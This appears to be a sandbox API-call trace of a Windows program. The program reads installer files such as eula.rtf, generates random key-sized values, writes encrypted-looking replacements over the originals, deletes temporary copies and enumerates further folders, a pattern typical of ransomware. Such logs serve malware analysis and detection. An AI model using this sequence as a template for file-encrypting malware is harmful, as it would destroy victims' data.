	[0069.534] ReadFile (in: hFile=0x164, lpBuffer=0xc00018c000, nNumberOfBytesToRead=0x441, lpNumberOfBytesRead=0xc000181b04, lpOverlapped=0x0 | out: lpBuffer=0xc00018c000*, lpNumberOfBytesRead=0xc000181b04*=0x241, lpOverlapped=0x0) returned 1
	[0069.672] ReadFile (in: hFile=0x164, lpBuffer=0xc00018c241, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000181b04, lpOverlapped=0x0 | out: lpBuffer=0xc00018c241*, lpNumberOfBytesRead=0xc000181b04*=0x0, lpOverlapped=0x0) returned 1
	[0069.672] CloseHandle (hObject=0x164) returned 1
	[0069.673] VirtualAlloc (lpAddress=0xc00018e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00018e000
	[0069.673] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.711] VirtualAlloc (lpAddress=0xc000210000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000210000
	[0069.711] VirtualAlloc (lpAddress=0xc000212000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000212000
	[0069.712] VirtualAlloc (lpAddress=0xc000214000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000214000
	[0069.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x929bc0, lpParameter=0xc000210000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c
	[0069.714] CloseHandle (hObject=0x13c) returned 1
	[0069.714] VirtualAlloc (lpAddress=0xc000216000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000216000
	[0069.714] WriteFile (in: hFile=0x0, lpBuffer=0xc000208000, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0xc000033d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000033d94, lpOverlapped=0x0) returned 0
	[0069.715] VirtualAlloc (lpAddress=0xc000218000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000218000
	[0069.715] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x82, lpNumberOfBytesWritten=0xc000033d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000033d94, lpOverlapped=0x0) returned 0
	[0069.715] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x13c
	[0069.715] GetConsoleMode (in: hConsoleHandle=0x13c, lpMode=0xc000033bf4 | out: lpMode=0xc000033bf4) returned 0
	[0069.715] GetFileType (hFile=0x13c) returned 0x1
	[0069.715] VirtualAlloc (lpAddress=0xc00021a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00021a000
	[0069.716] VirtualAlloc (lpAddress=0xc00021c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00021c000
	[0069.716] GetFileType (hFile=0x13c) returned 0x1
	[0069.716] GetFileInformationByHandle (in: hFile=0x13c, lpFileInformation=0xc000033c44 | out: lpFileInformation=0xc000033c44) returned 1
	[0069.717] GetFileInformationByHandleEx (in: hFile=0x13c, FileInformationClass=0x9, lpFileInformation=0xc000033c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000033c28) returned 1
	[0069.717] VirtualAlloc (lpAddress=0xc00021e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00021e000
	[0069.717] ReadFile (in: hFile=0x13c, lpBuffer=0xc00021e000, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0xc000033b04, lpOverlapped=0x0 | out: lpBuffer=0xc00021e000*, lpNumberOfBytesRead=0xc000033b04*=0x4a, lpOverlapped=0x0) returned 1
	[0069.719] ReadFile (in: hFile=0x13c, lpBuffer=0xc00021e04a, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000033b04, lpOverlapped=0x0 | out: lpBuffer=0xc00021e04a*, lpNumberOfBytesRead=0xc000033b04*=0x0, lpOverlapped=0x0) returned 1
	[0069.719] CloseHandle (hObject=0x13c) returned 1
	[0069.719] VirtualAlloc (lpAddress=0xc000220000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000220000
	[0069.719] VirtualAlloc (lpAddress=0xc000222000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000222000
	[0069.720] VirtualAlloc (lpAddress=0xc000224000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000224000
	[0069.720] VirtualAlloc (lpAddress=0xc000226000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000226000
	[0069.721] VirtualAlloc (lpAddress=0xc000228000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000228000
	[0069.721] VirtualAlloc (lpAddress=0xc00022a000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00022a000
	[0069.722] VirtualAlloc (lpAddress=0xc000232000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000232000
	[0069.723] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0071.048] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0071.107] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0071.619] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0071.619] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0071.619] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0071.619] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dbf4 | out: lpMode=0xc00022dbf4) returned 0
	[0071.619] GetFileType (hFile=0x178) returned 0x1
	[0071.619] GetFileType (hFile=0x178) returned 0x1
	[0071.619] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0xc00022dc44 | out: lpFileInformation=0xc00022dc44) returned 1
	[0071.619] GetFileInformationByHandleEx (in: hFile=0x178, FileInformationClass=0x9, lpFileInformation=0xc00022dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00022dc28) returned 1
	[0071.619] VirtualAlloc (lpAddress=0xc000324000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000324000
	[0071.620] ReadFile (in: hFile=0x178, lpBuffer=0xc000324000, nNumberOfBytesToRead=0x298d, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc000324000*, lpNumberOfBytesRead=0xc00022db04*=0x278d, lpOverlapped=0x0) returned 1
	[0071.697] ReadFile (in: hFile=0x178, lpBuffer=0xc00032678d, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc00032678d*, lpNumberOfBytesRead=0xc00022db04*=0x0, lpOverlapped=0x0) returned 1
	[0071.697] CloseHandle (hObject=0x178) returned 1
	[0071.697] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc0000930e0 | out: pbBuffer=0xc0000930e0) returned 1
	[0071.697] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000094ea0 | out: pbBuffer=0xc000094ea0) returned 1
	[0071.697] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000082801 | out: pbBuffer=0xc000082801) returned 1
	[0071.697] VirtualAlloc (lpAddress=0xc0001c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c0000
	[0071.698] VirtualAlloc (lpAddress=0xc0001c2000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c2000
	[0071.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0071.703] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dc04 | out: lpMode=0xc00022dc04) returned 0
	[0071.703] GetFileType (hFile=0x178) returned 0x1
	[0071.703] WriteFile (in: hFile=0x178, lpBuffer=0xc0001c2000*, nNumberOfBytesToWrite=0x288d, lpNumberOfBytesWritten=0xc00022dbec, lpOverlapped=0x0 | out: lpBuffer=0xc0001c2000*, lpNumberOfBytesWritten=0xc00022dbec*=0x288d, lpOverlapped=0x0) returned 1
	[0071.704] CloseHandle (hObject=0x178) returned 1
	[0071.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0071.706] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0071.706] GetFileType (hFile=0x178) returned 0x1
	[0071.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x194
	[0071.706] GetConsoleMode (in: hConsoleHandle=0x194, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0071.706] GetFileType (hFile=0x194) returned 0x1
	[0071.706] VirtualAlloc (lpAddress=0xc0001ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ca000
	[0071.707] VirtualAlloc (lpAddress=0xc0001cc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001cc000
	[0071.708] ReadFile (in: hFile=0x194, lpBuffer=0xc0001cc000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001cc000*, lpNumberOfBytesRead=0xc00022dbd4*=0x288d, lpOverlapped=0x0) returned 1
	[0071.708] WriteFile (in: hFile=0x178, lpBuffer=0xc0001cc000*, nNumberOfBytesToWrite=0x288d, lpNumberOfBytesWritten=0xc00022db74, lpOverlapped=0x0 | out: lpBuffer=0xc0001cc000*, lpNumberOfBytesWritten=0xc00022db74*=0x288d, lpOverlapped=0x0) returned 1
	[0071.709] ReadFile (in: hFile=0x194, lpBuffer=0xc0001cc000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001cc000*, lpNumberOfBytesRead=0xc00022dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0071.709] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e")) returned 0
	[0071.709] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e")) returned 0
	[0071.709] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e")) returned 0x20
	[0071.709] CloseHandle (hObject=0x194) returned 1
	[0071.709] CloseHandle (hObject=0x178) returned 1
	[0071.710] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e")) returned 1
	[0071.711] VirtualAlloc (lpAddress=0xc0001d4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001d4000
	[0071.711] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0072.165] VirtualAlloc (lpAddress=0xc0002fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002fe000
	[0072.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x929bc0, lpParameter=0xc0002fe000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194
	[0072.166] CloseHandle (hObject=0x194) returned 1
	[0072.167] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0072.167] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0072.169] VirtualAlloc (lpAddress=0xc000400000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000400000
	[0072.169] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x161c4d70000
	[0072.170] VirtualAlloc (lpAddress=0xc000400000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000400000
	[0072.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x194
	[0072.171] GetConsoleMode (in: hConsoleHandle=0x194, lpMode=0xc000231bf4 | out: lpMode=0xc000231bf4) returned 0
	[0072.171] GetFileType (hFile=0x194) returned 0x1
	[0072.171] VirtualAlloc (lpAddress=0xc000402000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000402000
	[0072.171] GetFileType (hFile=0x194) returned 0x1
	[0072.171] GetFileInformationByHandle (in: hFile=0x194, lpFileInformation=0xc000231c44 | out: lpFileInformation=0xc000231c44) returned 1
	[0072.171] GetFileInformationByHandleEx (in: hFile=0x194, FileInformationClass=0x9, lpFileInformation=0xc000231c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000231c28) returned 1
	[0072.171] VirtualAlloc (lpAddress=0xc000404000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000404000
	[0072.172] ReadFile (in: hFile=0x194, lpBuffer=0xc000404000, nNumberOfBytesToRead=0xd6b8, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc000404000*, lpNumberOfBytesRead=0xc000231b04*=0xd4b8, lpOverlapped=0x0) returned 1
	[0073.704] ReadFile (in: hFile=0x194, lpBuffer=0xc0004114b8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc0004114b8*, lpNumberOfBytesRead=0xc000231b04*=0x0, lpOverlapped=0x0) returned 1
	[0073.704] CloseHandle (hObject=0x194) returned 1
	[0073.704] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000109ac0 | out: pbBuffer=0xc000109ac0) returned 1
	[0073.704] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0001012f0 | out: pbBuffer=0xc0001012f0) returned 1
	[0073.704] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000163401 | out: pbBuffer=0xc000163401) returned 1
	[0073.704] VirtualAlloc (lpAddress=0xc000422000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000422000
	[0073.705] VirtualAlloc (lpAddress=0xc000424000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000424000
	[0073.705] VirtualAlloc (lpAddress=0xc000426000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000426000
	[0073.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194
	[0073.707] GetConsoleMode (in: hConsoleHandle=0x194, lpMode=0xc000231c04 | out: lpMode=0xc000231c04) returned 0
	[0073.707] GetFileType (hFile=0x194) returned 0x1
	[0073.707] WriteFile (in: hFile=0x194, lpBuffer=0xc000426000*, nNumberOfBytesToWrite=0xd5b8, lpNumberOfBytesWritten=0xc000231bec, lpOverlapped=0x0 | out: lpBuffer=0xc000426000*, lpNumberOfBytesWritten=0xc000231bec*=0xd5b8, lpOverlapped=0x0) returned 1
	[0073.709] CloseHandle (hObject=0x194) returned 1
	[0073.711] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194
	[0073.712] GetConsoleMode (in: hConsoleHandle=0x194, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0073.712] GetFileType (hFile=0x194) returned 0x1
	[0073.713] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a4
	[0073.713] GetConsoleMode (in: hConsoleHandle=0x1a4, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0073.713] GetFileType (hFile=0x1a4) returned 0x1
	[0073.713] VirtualAlloc (lpAddress=0xc000434000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000434000
	[0073.713] ReadFile (in: hFile=0x1a4, lpBuffer=0xc000434000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000434000*, lpNumberOfBytesRead=0xc000231bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0073.714] WriteFile (in: hFile=0x194, lpBuffer=0xc000434000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000231b74, lpOverlapped=0x0 | out: lpBuffer=0xc000434000*, lpNumberOfBytesWritten=0xc000231b74*=0x8000, lpOverlapped=0x0) returned 1
	[0073.716] ReadFile (in: hFile=0x1a4, lpBuffer=0xc000434000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000434000*, lpNumberOfBytesRead=0xc000231bd4*=0x55b8, lpOverlapped=0x0) returned 1
	[0073.716] WriteFile (in: hFile=0x194, lpBuffer=0xc000434000*, nNumberOfBytesToWrite=0x55b8, lpNumberOfBytesWritten=0xc000231b74, lpOverlapped=0x0 | out: lpBuffer=0xc000434000*, lpNumberOfBytesWritten=0xc000231b74*=0x55b8, lpOverlapped=0x0) returned 1
	[0073.716] ReadFile (in: hFile=0x1a4, lpBuffer=0xc000434000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000434000*, lpNumberOfBytesRead=0xc000231bd4*=0x0, lpOverlapped=0x0) returned 1
	[0073.716] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512")) returned 0
	[0073.717] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512")) returned 0
	[0073.717] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512")) returned 0x20
	[0073.717] CloseHandle (hObject=0x1a4) returned 1
	[0073.717] CloseHandle (hObject=0x194) returned 1
	[0073.719] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3273c312a7dc24f1445b7bb01200b512" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3273c312a7dc24f1445b7bb01200b512")) returned 1
	[0073.726] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070" (normalized: "c:\\588bce7c90097ed212\\2070"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0073.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070" (normalized: "c:\\588bce7c90097ed212\\2070"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0073.726] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0073.726] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.726] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.726] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.726] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.726] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0073.726] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0073.727] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0073.727] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e)) returned 1
	[0073.727] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0073.727] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958)) returned 1
	[0073.727] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
